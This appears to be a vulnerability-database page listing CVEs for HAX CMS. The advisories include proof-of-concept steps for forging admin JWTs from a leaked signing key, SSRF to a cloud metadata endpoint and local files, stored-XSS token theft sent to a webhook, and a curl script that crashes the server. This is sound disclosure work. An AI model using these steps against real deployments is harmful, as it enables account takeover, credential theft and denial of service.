HAXcms
by HAX CMS
CVEs (15)
| CVE | Vendor / Product | Sev | Risk | CVSS | EPSS | KEV | Published | Description |
|---|---|---|---|---|---|---|---|---|
| CVE-2026-46395 | cri | 0.59 | — | — | May 19, 2026 | ### Summary The `hmacBase64()` function in the HAXcms Node.js backend contains two critical cryptographic implementation errors that together allow any unauthenticated attacker to extract the system’s private signing key and forge arbitrary admin-level JSON Web Tokens (JWTs) allowing them to get full admin access with a single HTTP request. ### Details Bug 1: Hardcoded HMAC Key (line 2160): The function passes the literal string "0" as the HMAC signing key instead of the key parameter, making every HAXcms instance compute identical HMACs for the same input. Bug 2: Private Key Appended to Output (lines 2161- 2163): After computing the HMAC, the function concatenates the real key parameter which is "this.privateKey + this.salt", the system’s master signing secret is directly onto the output. The combined buffer is base64-encoded and returned as the token. Every base64url token produced has the same structure: 32 bytes HMAC keyed with "0" and N bytes of `privateKey+salt`. An attacker base64-decodes any token, discards the first 32 bytes, and reads the private key directly. The `/system/api/connectionSettings` endpoint is unauthenticated and returns multiple tokens generated by this function. A single GET request to this endpoint exposes the private key. The PHP backend (HAXCMS.php:1619-1631) implements this function correctly with the actual key and returns only the hash. The PHP version produces 44-character tokens whereas the broken Node.js version produces 139+ character tokens. ### PoC 1. GET request to `/system/api/connectionSettings` endpoint and fetch the token. 2. Extract the private key from the fetched token. The `hmacBase64()` function produces 32 bytes with HMAC-SHA256 with hardcoded key "0" and the rest of the bytes are `privateKey+salt` (plaintext). Decode the Base64 token, discard the first 32 bytes, read the remaining bytes as UTF-8 (this is your extracted private key). 3. Since JWT's are signed with `privateKey+salt`, use this stolen private key to forge a JWT for admin using `JWT.sign(payload, this.privateKey+this.salt)`. NOTE: the payload uses {id, user (set this as admin), iat (current timestamp), exp (expiration timestamp)} 4. The same key can also be used to create other tokens (user_token, base_token, form_token, etc). 5. Use these forged tokens to hit all authenticated endpoints (modify/delete/create etc) with admin privileges. ### Impact An unauthenticated attacker can perform the complete attack chain with a single HTTP request: 1. Extract private key: GET "/system/api/connectionSettings", base64-decode any token, discard first 32 bytes. 2. Forge admin JWT: sign arbitrary JWT payloads with the stolen privateKey+salt. 3. Forge all request tokens: compute valid user_token, site_token for any API call. 4. Full admin access: create/modify/delete sites, upload files, modify content. This works even if the admin has changed the default credentials to a strong password. The forged tokens produce no login events in logs. | ||
| CVE-2026-35185 | Hig | 0.49 | 7.5 | 0.00 | Apr 6, 2026 | HAX CMS helps manage microsite universe with PHP or NodeJs backends. Prior to 25.0.0, the /server-status endpoint is publicly accessible and exposes sensitive information including authentication tokens (user_token), user activity, client IP addresses, and server configuration details. This allows any unauthenticated user to monitor real-time user interactions and gather internal infrastructure information. This vulnerability is fixed in 25.0.0. | ||
| CVE-2026-46511 | hig | 0.45 | — | — | May 19, 2026 | ### Summary An attack chain utilizing **Stored XSS** alongside dynamic token exposure in the `/system/api/connectionSettings` endpoint allows an authenticated attacker to perform a complete cross-tenant account takeover. The API dynamically leaks the active session's authentication tokens (including the `jwt`, `user_token`, `site_token`, and `appstore_token`) into a global JavaScript variable (`window.appSettings`). An attacker can exploit the XSS vulnerability to force a victim's browser to silently fetch their specific connection settings, extract the tokens, and exfiltrate them to an attacker-controlled webhook. ### Details In `Operations.php` (`connectionSettings()`), the system returns a Javascript object designed to bootstrap the frontend context. This object, `window.appSettings`, acts as a "skeleton key" because it aggregates all necessary operational tokens for the active session. While HAXcms correctly relies on the cryptographically signed JWT for backend authentication (preventing Direct Object Reference/IDOR attempts), the CMS fails to secure the tokens themselves. Specifically: 1. **The Vector**: The system is vulnerable to Stored XSS (e.g., via injected `iframe` `srcdoc` or ``). 2. **The Exposure**: Because the `connectionSettings` endpoint serves the tokens locally based on the active `PHPSESSID` cookie, any malicious script running in the browser context can intercept these keys. 3. **The Chain**: HAXcms isolates user environments by URL path (`//`). An attacker can use XSS to force the victim's browser to fetch their *target* username's specific settings via `fetch('//system/api/connectionSettings')`. Since the browser implicitly attaches the victim's session cookie, the server authenticates the request and returns the victim's valid JWT and tokens. ### PoC **1. Setup the Webhook Target** Prepare an external webhook (e.g., `webhook.site`) to receive the stolen data. **2. Inject the "Kill Chain" Payload** As an authenticated attacker (e.g., having edit access to any site), inject the following Javascript via the verified Stored XSS vectors (such as checking the HTML Source of a page and writing an ``): ```html ``` **3. Execution & Verification** - When the victim (e.g., user `bto108`) views the compromised page, their browser automatically fires the `fetch` request, silently attaching their active session cookie. - The server responds with their connection settings. - The script parses their `jwt`, `user_token`, and other keys, encoding them in base64. - The attacker receives the full JWT and token dump on their webhook. *Screenshots confirming the data leakage and webhook capture:*      ### Impact **Critical Severity.** This attack completely compromises the primary defense mechanism of the CMS. By stealing the `jwt` and `user_token`, the attacker achieves **total account hijacking** without needing the victim's password. They can emulate the victim perfectly, bypassing standard interface restrictions to perform malicious administrative actions (creating/deleting sites, modifying user access, or uploading malicious content). The reliance on a global Javascript variable (`window.appSettings`) to store long-lived administrative security tokens creates a devastating chokepoint when combined with XSS. | ||
| CVE-2026-46396 | hig | 0.45 | — | — | May 19, 2026 | ### Summary A stored cross-site scripting (XSS) vulnerability exists in HAX CMS due to improper sanitization of `` elements. The application allows `javascript:` URIs in the `src` attribute, which are executed when a malicious page is viewed. This enables attackers to execute arbitrary JavaScript in the context of the victim’s browser and access sensitive data exposed to client-side scripts. ### Details Successful exploitation allows access to any data available in the browser context, including: - Authentication tokens (e.g., JWT) - Session cookies (if not protected with HttpOnly) - Application configuration (e.g., window.appSettings) - User-specific data accessible via APIs This significantly increases the impact beyond simple script execution. ### PoC Steps to reproduce: 1. Log in to HAX CMS as any authenticated user. 2. Create a new page or edit an existing page. 3. Open the HTML source editor (`<>`). 4. Insert the following payload: ```html ``` ### Impact This vulnerability allows stored XSS leading to: - Execution of arbitrary JavaScript in victim browsers - Access to sensitive client-side data, including authentication tokens and session identifiers - Unauthorized API actions performed on behalf of the victim - Session hijacking and full account takeover Because the application exposes authentication data in the client-side environment, exploitation of this vulnerability can lead to complete compromise of user accounts and site content. | ||
| CVE-2026-46393 | hig | 0.45 | — | — | May 19, 2026 | ### Summary An authenticated Server-Side Request Forgery (SSRF) vulnerability in HAXcms allows users to fetch arbitrary internal or local resources and write the responses to a web-accessible directory, enabling arbitrary file read and internal network access. ### Details The `createSite` endpoint in HAXcms (v11.0.6) accepts a `build.files` parameter that allows an authenticated user to supply arbitrary URLs or local file paths. This input is processed without validation and ultimately fetched server-side using `file_get_contents()`. The data flow is as follows: - User input (`build.files`) is processed via `object_to_array()` into a PHP array - Assigned to `$filesToDownload` in `Operations.php` (line 2626) - Iterated over in `Operations.php` (line 2730), where each entry is passed to `HAXCMSFile::save()` with bulk-import enabled In `HAXCMSFile.php` (line 30), the following occurs: ```php file_get_contents($upload['tmp_name']); ``` Here, tmp_name is attacker-controlled and may contain: - External URLs (`http://attacker.com`) - Internal services (`http://127.0.0.1`) - Cloud metadata endpoints (`http://169.254.169.254`) - Local file paths (`/etc/passwd`, `/proc/self/environ`) The bulk-import flag bypasses `is_uploaded_file()` validation, which normally ensures the file originates from a legitimate upload. The only restriction is an extension whitelist based on the filename (array key), which is fully attacker-controlled. There are no restrictions on: - URL schemes (`http`, `file`, `gopher`, etc.) - Destination IP ranges (internal, loopback, metadata services) - Response content All fetched content is written to: ``` sites//files/ ``` and is accessible via the web. ### PoC Prerequisites: - Authenticated session (default credentials: `admin/admin` on fresh installs) - Valid JWT and CSRF token Step 1: Log in and capture JWT + CSRF token Step 2: Send crafted request: ``` POST /createSite HTTP/1.1 Host: target Authorization: Bearer [JWT] X-CSRF-Token: [TOKEN] Content-Type: application/json { "site": { "name": "poc" }, "build": { "files": { "poc.txt": { "tmp_name": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" } } } } ``` Step 3: Retrieve response: ``` GET /sites/poc/files/poc.txt ``` The response will contain the fetched content (e.g., cloud credentials or internal service data). ### Impact - SSRF enabling access to internal network services - Arbitrary file read via local filesystem paths - Cloud credential exposure through metadata endpoints - Data exfiltration via web-accessible file storage Any authenticated user can exploit this to access sensitive server or infrastructure data, potentially leading to full system or cloud environment compromise. | ||
| CVE-2026-46357 | 0.00 | — | — | May 19, 2026 | ### Summary The HAX CMS NodeJS application crashes when an authenticated attacker sends a specially crafted site creation request to the createSite endpoint. A single request is sufficient to take the entire application offline, requiring a manual server restart to restore service. ### Details The `createSite` remote import flow does **not** complete end-to-end. Instead, the server crashes before the outbound HTTP fetch happens. The crash occurs because `createSite` passes a file object without `originalname`, while `HAXCMSFile.save()` immediately dereferences `tmpFile.originalname.replace(...)`. As a result: - the request reaches privileged code inside `createSite` - the server hits the remote file handling path - the process crashes before `downloadAndSaveFile()` performs the outbound request - no imported file is written into the site directory ### Affected Resources - src/routes/createSite.js:176 - src/lib/HAXCMSFile.js:25 - system/api/createSite ### PoC 1. Obtain a JWT by logging in with valid credentials. ```bash JWT=$(curl -s -X POST 'http://127.0.0.1:3000/system/api/login' \ -H 'Content-Type: application/json' \ -d '{"username":"admin","password":"admin"}' | grep -o '"jwt":"[^"]*"' | head -1 | cut -d'"' -f4) ``` 2. Extract the required tokens from the `connectionSettings` endpoint. ```bash SETTINGS=$(curl -s 'http://127.0.0.1:3000/system/api/connectionSettings') ROOT_TOKEN=$(printf '%s' "$SETTINGS" | grep -o '"token":"[^"]*"' | head -1 | cut -d'"' -f4) USER_TOKEN=$(printf '%s' "$SETTINGS" | grep -o 'createSite[^"]*' | grep -o 'user_token=[^"&]*' | cut -d'=' -f2) ``` 3. Send the malformed request to crash the server. ```bash curl -i -X POST "http://127.0.0.1:3000/system/api/createSite?user_token=$USER_TOKEN&jwt=$JWT" \ -H 'Content-Type: application/json' \ -d "{ \"token\": \"$ROOT_TOKEN\", \"site\": { \"name\": \"dos-poc\" }, \"theme\": {}, \"build\": { \"structure\": \"import\", \"type\": \"import\", \"items\": [], \"files\": { \"files/poc.txt\": \"http://127.0.0.1:8888/poc.txt\" } } }" ``` The curl client receives an empty reply as the server crashes mid-request. The Node.js process terminates immediately with TypeError: Cannot read properties of undefined (reading 'replace') and nodemon reports the application as crashed. ### Impact An authenticated attacker can crash the HAX CMS NodeJS process with a single HTTP request, making the application unavailable to all users until the server is manually restarted. Since HAX CMS allows account registration, an attacker does not need to compromise existing credentials; they can create their own account and immediately use it to trigger the crash. | |||
| CVE-2026-46496 | 0.00 | — | — | May 19, 2026 | ### Summary A stored cross-site scripting (XSS) vulnerability exists in HAX CMS due to improper sanitization of the `` component. The component allows `javascript:` URIs in the `source` attribute, which are executed when the page is viewed. This enables attackers to execute arbitrary JavaScript in the context of the victim’s browser and access sensitive data such as JWT tokens and more. ### Details The vulnerability is present in the `` web component used within the HAX CMS editor. The application fails to validate or sanitize user-supplied input in the following attributes: - `source` - `source-data` These attributes accept arbitrary URI schemes, including `javascript:`, which leads to execution of attacker-controlled JavaScript in the browser. Example vulnerable usage: ```html ``` Because this content is stored and rendered to other users, the vulnerability is classified as a stored XSS. The root cause is the lack of URI scheme validation and improper sanitization of component attributes before rendering. Because this content is stored and rendered to other users, the vulnerability is classified as a stored XSS. The root cause is the lack of URI scheme validation and improper sanitization of component attributes before rendering. ### PoC Steps to reproduce: 1. Log in to HAX CMS as user. 2. Create a website or any page and switch to the HTML source editor (`<>`). 3. Insert the following payload: ```html ``` Save the page. Reload or revisit or send the page. Result A JavaScript alert executes. The JWT token is exposed. This confirms arbitrary JavaScript execution in the victim’s browser. ### Impact This vulnerability allows stored XSS leading to: - Theft of JWT authentication tokens - Session hijacking - Full account takeover - Execution of arbitrary JavaScript in victim browsers If an administrator views a malicious page, this can lead to full CMS compromise. Attack complexity: Low Privileges required: Low (any authenticated user) User interaction: Required | |||
| CVE-2026-22704 | 0.00 | — | 0.00 | Jan 10, 2026 | HAX CMS helps manage microsite universe with PHP or NodeJs backends. In versions 11.0.6 to before 25.0.0, HAX CMS is vulnerable to stored XSS, which could lead to account takeover. This issue has been patched in version 25.0.0. | |||
| CVE-2025-54378 | 0.00 | — | 0.00 | Jul 26, 2025 | HAX CMS allows you to manage your microsite universe with PHP or NodeJs backends. In versions 11.0.13 and below of haxcms-nodejs and versions 11.0.8 and below of haxcms-php, API endpoints do not perform authorization checks when interacting with a resource. Both the JS and PHP versions of the CMS do not verify that a user has permission to interact with a resource before performing a given operation. The API endpoints within the HAX CMS application check if a user is authenticated, but don't check for authorization before performing an operation. This is fixed in versions 11.0.14 of haxcms-nodejs and 11.0.9 of haxcms-php. | |||
| CVE-2025-54139 | 0.00 | — | 0.00 | Jul 22, 2025 | HAX CMS allows users to manage their microsite universe with a NodeJS or PHP backend. In haxcms-nodejs versions 11.0.12 and below and in haxcms-php versions 11.0.7 and below, all pages within the HAX CMS application do not contain headers to prevent other websites from loading the site within an iframe. This applies to both the CMS and generated sites. An unauthenticated attacker can load the standalone login page or other sensitive functionality within an iframe, performing a UI redressing attack (clickjacking). This can be used to perform social engineering attacks to attempt to coerce users into performing unintended actions within the HAX CMS application. This is fixed in haxcms-nodejs version 11.0.13 and haxcms-php 11.0.8. | |||
| CVE-2025-54127 | 0.00 | — | 0.00 | Jul 21, 2025 | HAXcms with nodejs backend allows users to start the server in any HAXsite or HAXcms instance. In versions 11.0.6 and below, the NodeJS version of HAXcms uses an insecure default configuration designed for local development. The default configuration does not perform authorization or authentication checks. If a user were to deploy haxcms-nodejs without modifying the default settings, ‘HAXCMS_DISABLE_JWT_CHECKS‘ would be set to ‘true‘ and their deployment would lack session authentication. This is fixed in version 11.0.7. | |||
| CVE-2025-53642 | 0.00 | — | 0.00 | Jul 11, 2025 | haxcms-nodejs and haxcms-php are backends for HAXcms. The logout function within the application does not terminate a user's session or clear their cookies. Additionally, the application issues a refresh token when logging out. This vulnerability is fixed in 11.0.6. | |||
| CVE-2025-49139 | 0.00 | — | 0.00 | Jun 9, 2025 | HAX CMS PHP allows users to manage their microsite universe with a PHP backend. Prior to version 11.0.0, in the HAX site editor, users can create a website block to load another site in an iframe. The application allows users to supply a target URL in the website block. When the HAX site is visited, the client's browser will query the supplied URL. An authenticated attacker can create a HAX site with a website block pointing at an attacker-controlled server running Responder or a similar tool. The attacker can then conduct a phishing attack by convincing another user to visit their malicious HAX site to harvest credentials. Version 11.0.0 contains a patch for the issue. | |||
| CVE-2025-49138 | 0.00 | — | 0.00 | Jun 9, 2025 | HAX CMS PHP allows users to manage their microsite universe with a PHP backend. Prior to version 11.0.0, an authenticated Local File Inclusion (LFI) vulnerability in the HAXCMS saveOutline endpoint allows a low-privileged user to read arbitrary files on the server by manipulating the location field written into site.json. This enables attackers to exfiltrate sensitive system files such as /etc/passwd, application secrets, or configuration files accessible to the web server (www-data). The vulnerability stems from the way the HAXCMS backend handles the location field in the site's outline. When a user sends a POST request to /system/api/saveOutline, the backend stores the provided location value directly into the site.json file associated with the site, without validating or sanitizing the input. Later the location parameter is interpreted by the CMS to resolve and load the content for a given node. If the location field contains a relative path like `../../../etc/passwd`, the application will attempt to read and render that file. Version 11.0.0 fixes the issue. | |||
| CVE-2025-49137 | 0.00 | — | 0.00 | Jun 9, 2025 | HAX CMS PHP allows users to manage their microsite universe with a PHP backend. Prior to version 11.0.0, the application does not sufficiently sanitize user input, allowing for the execution of arbitrary JavaScript code. The 'saveNode' and 'saveManifest' endpoints take user input and store it in the JSON schema for the site. This content is then rendered in the generated HAX site. Although the application does not allow users to supply a `script` tag, it does allow the use of other HTML tags to run JavaScript. Version 11.0.0 fixes the issue. |
- risk 0.59cvss —epss —
### Summary The `hmacBase64()` function in the HAXcms Node.js backend contains two critical cryptographic implementation errors that together allow any unauthenticated attacker to extract the system’s private signing key and forge arbitrary admin-level JSON Web Tokens (JWTs) allowing them to get full admin access with a single HTTP request. ### Details Bug 1: Hardcoded HMAC Key (line 2160): The function passes the literal string "0" as the HMAC signing key instead of the key parameter, making every HAXcms instance compute identical HMACs for the same input. Bug 2: Private Key Appended to Output (lines 2161- 2163): After computing the HMAC, the function concatenates the real key parameter which is "this.privateKey + this.salt", the system’s master signing secret is directly onto the output. The combined buffer is base64-encoded and returned as the token. Every base64url token produced has the same structure: 32 bytes HMAC keyed with "0" and N bytes of `privateKey+salt`. An attacker base64-decodes any token, discards the first 32 bytes, and reads the private key directly. The `/system/api/connectionSettings` endpoint is unauthenticated and returns multiple tokens generated by this function. A single GET request to this endpoint exposes the private key. The PHP backend (HAXCMS.php:1619-1631) implements this function correctly with the actual key and returns only the hash. The PHP version produces 44-character tokens whereas the broken Node.js version produces 139+ character tokens. ### PoC 1. GET request to `/system/api/connectionSettings` endpoint and fetch the token. 2. Extract the private key from the fetched token. The `hmacBase64()` function produces 32 bytes with HMAC-SHA256 with hardcoded key "0" and the rest of the bytes are `privateKey+salt` (plaintext). Decode the Base64 token, discard the first 32 bytes, read the remaining bytes as UTF-8 (this is your extracted private key). 3. Since JWT's are signed with `privateKey+salt`, use this stolen private key to forge a JWT for admin using `JWT.sign(payload, this.privateKey+this.salt)`. NOTE: the payload uses {id, user (set this as admin), iat (current timestamp), exp (expiration timestamp)} 4. The same key can also be used to create other tokens (user_token, base_token, form_token, etc). 5. Use these forged tokens to hit all authenticated endpoints (modify/delete/create etc) with admin privileges. ### Impact An unauthenticated attacker can perform the complete attack chain with a single HTTP request: 1. Extract private key: GET "/system/api/connectionSettings", base64-decode any token, discard first 32 bytes. 2. Forge admin JWT: sign arbitrary JWT payloads with the stolen privateKey+salt. 3. Forge all request tokens: compute valid user_token, site_token for any API call. 4. Full admin access: create/modify/delete sites, upload files, modify content. This works even if the admin has changed the default credentials to a strong password. The forged tokens produce no login events in logs.
- risk 0.49cvss 7.5epss 0.00
HAX CMS helps manage microsite universe with PHP or NodeJs backends. Prior to 25.0.0, the /server-status endpoint is publicly accessible and exposes sensitive information including authentication tokens (user_token), user activity, client IP addresses, and server configuration details. This allows any unauthenticated user to monitor real-time user interactions and gather internal infrastructure information. This vulnerability is fixed in 25.0.0.
- risk 0.45cvss —epss —
### Summary An attack chain utilizing **Stored XSS** alongside dynamic token exposure in the `/system/api/connectionSettings` endpoint allows an authenticated attacker to perform a complete cross-tenant account takeover. The API dynamically leaks the active session's authentication tokens (including the `jwt`, `user_token`, `site_token`, and `appstore_token`) into a global JavaScript variable (`window.appSettings`). An attacker can exploit the XSS vulnerability to force a victim's browser to silently fetch their specific connection settings, extract the tokens, and exfiltrate them to an attacker-controlled webhook. ### Details In `Operations.php` (`connectionSettings()`), the system returns a Javascript object designed to bootstrap the frontend context. This object, `window.appSettings`, acts as a "skeleton key" because it aggregates all necessary operational tokens for the active session. While HAXcms correctly relies on the cryptographically signed JWT for backend authentication (preventing Direct Object Reference/IDOR attempts), the CMS fails to secure the tokens themselves. Specifically: 1. **The Vector**: The system is vulnerable to Stored XSS (e.g., via injected `iframe` `srcdoc` or ``). 2. **The Exposure**: Because the `connectionSettings` endpoint serves the tokens locally based on the active `PHPSESSID` cookie, any malicious script running in the browser context can intercept these keys. 3. **The Chain**: HAXcms isolates user environments by URL path (`//`). An attacker can use XSS to force the victim's browser to fetch their *target* username's specific settings via `fetch('//system/api/connectionSettings')`. Since the browser implicitly attaches the victim's session cookie, the server authenticates the request and returns the victim's valid JWT and tokens. ### PoC **1. Setup the Webhook Target** Prepare an external webhook (e.g., `webhook.site`) to receive the stolen data. **2. Inject the "Kill Chain" Payload** As an authenticated attacker (e.g., having edit access to any site), inject the following Javascript via the verified Stored XSS vectors (such as checking the HTML Source of a page and writing an ``): ```html ``` **3. Execution & Verification** - When the victim (e.g., user `bto108`) views the compromised page, their browser automatically fires the `fetch` request, silently attaching their active session cookie. - The server responds with their connection settings. - The script parses their `jwt`, `user_token`, and other keys, encoding them in base64. - The attacker receives the full JWT and token dump on their webhook. *Screenshots confirming the data leakage and webhook capture:*      ### Impact **Critical Severity.** This attack completely compromises the primary defense mechanism of the CMS. By stealing the `jwt` and `user_token`, the attacker achieves **total account hijacking** without needing the victim's password. They can emulate the victim perfectly, bypassing standard interface restrictions to perform malicious administrative actions (creating/deleting sites, modifying user access, or uploading malicious content). The reliance on a global Javascript variable (`window.appSettings`) to store long-lived administrative security tokens creates a devastating chokepoint when combined with XSS.
- risk 0.45cvss —epss —
### Summary A stored cross-site scripting (XSS) vulnerability exists in HAX CMS due to improper sanitization of `` elements. The application allows `javascript:` URIs in the `src` attribute, which are executed when a malicious page is viewed. This enables attackers to execute arbitrary JavaScript in the context of the victim’s browser and access sensitive data exposed to client-side scripts. ### Details Successful exploitation allows access to any data available in the browser context, including: - Authentication tokens (e.g., JWT) - Session cookies (if not protected with HttpOnly) - Application configuration (e.g., window.appSettings) - User-specific data accessible via APIs This significantly increases the impact beyond simple script execution. ### PoC Steps to reproduce: 1. Log in to HAX CMS as any authenticated user. 2. Create a new page or edit an existing page. 3. Open the HTML source editor (`<>`). 4. Insert the following payload: ```html ``` ### Impact This vulnerability allows stored XSS leading to: - Execution of arbitrary JavaScript in victim browsers - Access to sensitive client-side data, including authentication tokens and session identifiers - Unauthorized API actions performed on behalf of the victim - Session hijacking and full account takeover Because the application exposes authentication data in the client-side environment, exploitation of this vulnerability can lead to complete compromise of user accounts and site content.
- risk 0.45cvss —epss —
### Summary An authenticated Server-Side Request Forgery (SSRF) vulnerability in HAXcms allows users to fetch arbitrary internal or local resources and write the responses to a web-accessible directory, enabling arbitrary file read and internal network access. ### Details The `createSite` endpoint in HAXcms (v11.0.6) accepts a `build.files` parameter that allows an authenticated user to supply arbitrary URLs or local file paths. This input is processed without validation and ultimately fetched server-side using `file_get_contents()`. The data flow is as follows: - User input (`build.files`) is processed via `object_to_array()` into a PHP array - Assigned to `$filesToDownload` in `Operations.php` (line 2626) - Iterated over in `Operations.php` (line 2730), where each entry is passed to `HAXCMSFile::save()` with bulk-import enabled In `HAXCMSFile.php` (line 30), the following occurs: ```php file_get_contents($upload['tmp_name']); ``` Here, tmp_name is attacker-controlled and may contain: - External URLs (`http://attacker.com`) - Internal services (`http://127.0.0.1`) - Cloud metadata endpoints (`http://169.254.169.254`) - Local file paths (`/etc/passwd`, `/proc/self/environ`) The bulk-import flag bypasses `is_uploaded_file()` validation, which normally ensures the file originates from a legitimate upload. The only restriction is an extension whitelist based on the filename (array key), which is fully attacker-controlled. There are no restrictions on: - URL schemes (`http`, `file`, `gopher`, etc.) - Destination IP ranges (internal, loopback, metadata services) - Response content All fetched content is written to: ``` sites//files/ ``` and is accessible via the web. ### PoC Prerequisites: - Authenticated session (default credentials: `admin/admin` on fresh installs) - Valid JWT and CSRF token Step 1: Log in and capture JWT + CSRF token Step 2: Send crafted request: ``` POST /createSite HTTP/1.1 Host: target Authorization: Bearer [JWT] X-CSRF-Token: [TOKEN] Content-Type: application/json { "site": { "name": "poc" }, "build": { "files": { "poc.txt": { "tmp_name": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" } } } } ``` Step 3: Retrieve response: ``` GET /sites/poc/files/poc.txt ``` The response will contain the fetched content (e.g., cloud credentials or internal service data). ### Impact - SSRF enabling access to internal network services - Arbitrary file read via local filesystem paths - Cloud credential exposure through metadata endpoints - Data exfiltration via web-accessible file storage Any authenticated user can exploit this to access sensitive server or infrastructure data, potentially leading to full system or cloud environment compromise.
- CVE-2026-46357May 19, 2026risk 0.00cvss —epss —
### Summary The HAX CMS NodeJS application crashes when an authenticated attacker sends a specially crafted site creation request to the createSite endpoint. A single request is sufficient to take the entire application offline, requiring a manual server restart to restore service. ### Details The `createSite` remote import flow does **not** complete end-to-end. Instead, the server crashes before the outbound HTTP fetch happens. The crash occurs because `createSite` passes a file object without `originalname`, while `HAXCMSFile.save()` immediately dereferences `tmpFile.originalname.replace(...)`. As a result: - the request reaches privileged code inside `createSite` - the server hits the remote file handling path - the process crashes before `downloadAndSaveFile()` performs the outbound request - no imported file is written into the site directory ### Affected Resources - src/routes/createSite.js:176 - src/lib/HAXCMSFile.js:25 - system/api/createSite ### PoC 1. Obtain a JWT by logging in with valid credentials. ```bash JWT=$(curl -s -X POST 'http://127.0.0.1:3000/system/api/login' \ -H 'Content-Type: application/json' \ -d '{"username":"admin","password":"admin"}' | grep -o '"jwt":"[^"]*"' | head -1 | cut -d'"' -f4) ``` 2. Extract the required tokens from the `connectionSettings` endpoint. ```bash SETTINGS=$(curl -s 'http://127.0.0.1:3000/system/api/connectionSettings') ROOT_TOKEN=$(printf '%s' "$SETTINGS" | grep -o '"token":"[^"]*"' | head -1 | cut -d'"' -f4) USER_TOKEN=$(printf '%s' "$SETTINGS" | grep -o 'createSite[^"]*' | grep -o 'user_token=[^"&]*' | cut -d'=' -f2) ``` 3. Send the malformed request to crash the server. ```bash curl -i -X POST "http://127.0.0.1:3000/system/api/createSite?user_token=$USER_TOKEN&jwt=$JWT" \ -H 'Content-Type: application/json' \ -d "{ \"token\": \"$ROOT_TOKEN\", \"site\": { \"name\": \"dos-poc\" }, \"theme\": {}, \"build\": { \"structure\": \"import\", \"type\": \"import\", \"items\": [], \"files\": { \"files/poc.txt\": \"http://127.0.0.1:8888/poc.txt\" } } }" ``` The curl client receives an empty reply as the server crashes mid-request. The Node.js process terminates immediately with TypeError: Cannot read properties of undefined (reading 'replace') and nodemon reports the application as crashed. ### Impact An authenticated attacker can crash the HAX CMS NodeJS process with a single HTTP request, making the application unavailable to all users until the server is manually restarted. Since HAX CMS allows account registration, an attacker does not need to compromise existing credentials; they can create their own account and immediately use it to trigger the crash.
- CVE-2026-46496May 19, 2026risk 0.00cvss —epss —
### Summary A stored cross-site scripting (XSS) vulnerability exists in HAX CMS due to improper sanitization of the `` component. The component allows `javascript:` URIs in the `source` attribute, which are executed when the page is viewed. This enables attackers to execute arbitrary JavaScript in the context of the victim’s browser and access sensitive data such as JWT tokens and more. ### Details The vulnerability is present in the `` web component used within the HAX CMS editor. The application fails to validate or sanitize user-supplied input in the following attributes: - `source` - `source-data` These attributes accept arbitrary URI schemes, including `javascript:`, which leads to execution of attacker-controlled JavaScript in the browser. Example vulnerable usage: ```html ``` Because this content is stored and rendered to other users, the vulnerability is classified as a stored XSS. The root cause is the lack of URI scheme validation and improper sanitization of component attributes before rendering. Because this content is stored and rendered to other users, the vulnerability is classified as a stored XSS. The root cause is the lack of URI scheme validation and improper sanitization of component attributes before rendering. ### PoC Steps to reproduce: 1. Log in to HAX CMS as user. 2. Create a website or any page and switch to the HTML source editor (`<>`). 3. Insert the following payload: ```html ``` Save the page. Reload or revisit or send the page. Result A JavaScript alert executes. The JWT token is exposed. This confirms arbitrary JavaScript execution in the victim’s browser. ### Impact This vulnerability allows stored XSS leading to: - Theft of JWT authentication tokens - Session hijacking - Full account takeover - Execution of arbitrary JavaScript in victim browsers If an administrator views a malicious page, this can lead to full CMS compromise. Attack complexity: Low Privileges required: Low (any authenticated user) User interaction: Required
- CVE-2026-22704Jan 10, 2026risk 0.00cvss —epss 0.00
HAX CMS helps manage microsite universe with PHP or NodeJs backends. In versions 11.0.6 to before 25.0.0, HAX CMS is vulnerable to stored XSS, which could lead to account takeover. This issue has been patched in version 25.0.0.
- CVE-2025-54378Jul 26, 2025risk 0.00cvss —epss 0.00
HAX CMS allows you to manage your microsite universe with PHP or NodeJs backends. In versions 11.0.13 and below of haxcms-nodejs and versions 11.0.8 and below of haxcms-php, API endpoints do not perform authorization checks when interacting with a resource. Both the JS and PHP versions of the CMS do not verify that a user has permission to interact with a resource before performing a given operation. The API endpoints within the HAX CMS application check if a user is authenticated, but don't check for authorization before performing an operation. This is fixed in versions 11.0.14 of haxcms-nodejs and 11.0.9 of haxcms-php.
- CVE-2025-54139Jul 22, 2025risk 0.00cvss —epss 0.00
HAX CMS allows users to manage their microsite universe with a NodeJS or PHP backend. In haxcms-nodejs versions 11.0.12 and below and in haxcms-php versions 11.0.7 and below, all pages within the HAX CMS application do not contain headers to prevent other websites from loading the site within an iframe. This applies to both the CMS and generated sites. An unauthenticated attacker can load the standalone login page or other sensitive functionality within an iframe, performing a UI redressing attack (clickjacking). This can be used to perform social engineering attacks to attempt to coerce users into performing unintended actions within the HAX CMS application. This is fixed in haxcms-nodejs version 11.0.13 and haxcms-php 11.0.8.
- CVE-2025-54127Jul 21, 2025risk 0.00cvss —epss 0.00
HAXcms with nodejs backend allows users to start the server in any HAXsite or HAXcms instance. In versions 11.0.6 and below, the NodeJS version of HAXcms uses an insecure default configuration designed for local development. The default configuration does not perform authorization or authentication checks. If a user were to deploy haxcms-nodejs without modifying the default settings, ‘HAXCMS_DISABLE_JWT_CHECKS‘ would be set to ‘true‘ and their deployment would lack session authentication. This is fixed in version 11.0.7.
- CVE-2025-53642Jul 11, 2025risk 0.00cvss —epss 0.00
haxcms-nodejs and haxcms-php are backends for HAXcms. The logout function within the application does not terminate a user's session or clear their cookies. Additionally, the application issues a refresh token when logging out. This vulnerability is fixed in 11.0.6.
- CVE-2025-49139Jun 9, 2025risk 0.00cvss —epss 0.00
HAX CMS PHP allows users to manage their microsite universe with a PHP backend. Prior to version 11.0.0, in the HAX site editor, users can create a website block to load another site in an iframe. The application allows users to supply a target URL in the website block. When the HAX site is visited, the client's browser will query the supplied URL. An authenticated attacker can create a HAX site with a website block pointing at an attacker-controlled server running Responder or a similar tool. The attacker can then conduct a phishing attack by convincing another user to visit their malicious HAX site to harvest credentials. Version 11.0.0 contains a patch for the issue.
- CVE-2025-49138Jun 9, 2025risk 0.00cvss —epss 0.00
